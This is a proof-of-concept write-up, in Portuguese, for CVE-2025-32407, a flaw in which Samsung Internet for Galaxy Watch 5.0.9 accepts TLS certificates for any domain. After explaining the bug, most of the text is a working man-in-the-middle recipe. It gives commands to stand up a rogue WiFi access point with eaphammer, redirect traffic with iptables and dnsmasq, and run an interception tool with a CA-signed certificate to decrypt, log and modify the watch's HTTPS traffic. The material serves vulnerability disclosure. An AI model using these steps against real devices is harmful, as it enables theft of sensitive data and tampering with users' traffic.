
CVE-2025-32407 PoC
Prova de conceito para CVE-2025-32407: uma configuração incorreta na validação do certificado TLS do aplicativo "Samsung Internet for Galaxy Watch" versão 5.0.9.
O aplicativo Galaxy Watch "Samsung Internet for Galaxy Watch" versão 5.0.9, disponível até o Samsung Galaxy Watch 3, não valida corretamente os certificados TLS, permitindo que um invasor se faça passar por qualquer site visitado pelo usuário. Esta é uma configuração incorreta crítica na forma como o navegador valida a identidade do servidor. Isso anula o uso de HTTPS como um canal seguro, permitindo ataques Man-in-the-Middle, roubo de informações sensíveis ou modificação do tráfego de entrada e saída.
Neste caso específico, o navegador não valida se o domínio do certificado corresponde ao nome de domínio do site. Isso significa que ele aceitará qualquer certificado TLS, emitido para qualquer domínio arbitrário, desde que seja assinado por uma Autoridade Certificadora confiável. Então, um invasor pode obter um certificado gratuito para um domínio que controla e, com ele, interceptar todas as conexões TLS geradas pelo aplicativo.
Isso foi testado usando um Samsung Galaxy Watch 3 e a versão mais recente do "Samsung Internet for Galaxy Watch" (5.0.9). Observe que este dispositivo atualmente não possui suporte.

Para auxiliar na exploração, desenvolvi uma ferramenta que intercepta dinamicamente as comunicações TLS e gera certificados TLS controlados por mim, o que me permite descriptografar e manipular os dados de entrada e saída: https://github.com/diegovargasj/uncertipy. É necessário um certificado TLS válido, com sua chave, assinado por uma CA real. Isso pode ser feito de forma fácil e gratuita com a API Let's Encrypt e um domínio. Eles serão armazenados em /path/to/cert.pem e /path/to/key.pem respectivamente.
Existem várias maneiras de interceptar a comunicação do Watch, como manipular respostas DNS ou conectá-lo a um Ponto de Acesso WiFi criado para esse fim. Faremos o último, usando um computador com 2 interfaces de rede: wlan0 para acessar a internet e wlan1 para implantar o Ponto de Acesso WiFi.
Usarei o eaphammer (https://github.com/s0lst1c3/eaphammer) para implantar o WiFi AP, mas você pode usar o que preferir.
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
Agora, atribua um endereço IP à interface:
sudo ip addr add 10.0.0.1/24 dev wlan1
Redirecione o tráfego para a porta local 9900:
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
E habilite DHCP e DNS:
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
Finalmente, inicie o uncertipy para interceptar o tráfego TLS na porta 9900. Este tráfego será redirecionado para um proxy HTTP na porta 8080, para registro:
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
Agora conectamos o Watch ao WiFi AP, abrimos o aplicativo e navegamos para qualquer site HTTPS arbitrário.


A ferramenta uncertipy notificará sobre as interceptações TLS.

O proxy HTTP começará a interceptar requisições, que podem conter informações sensíveis. Além disso, podemos aproveitar os recursos do proxy para modificar requisições de entrada ou saída.

O aplicativo deve funcionar normalmente, exibindo o conteúdo do site.
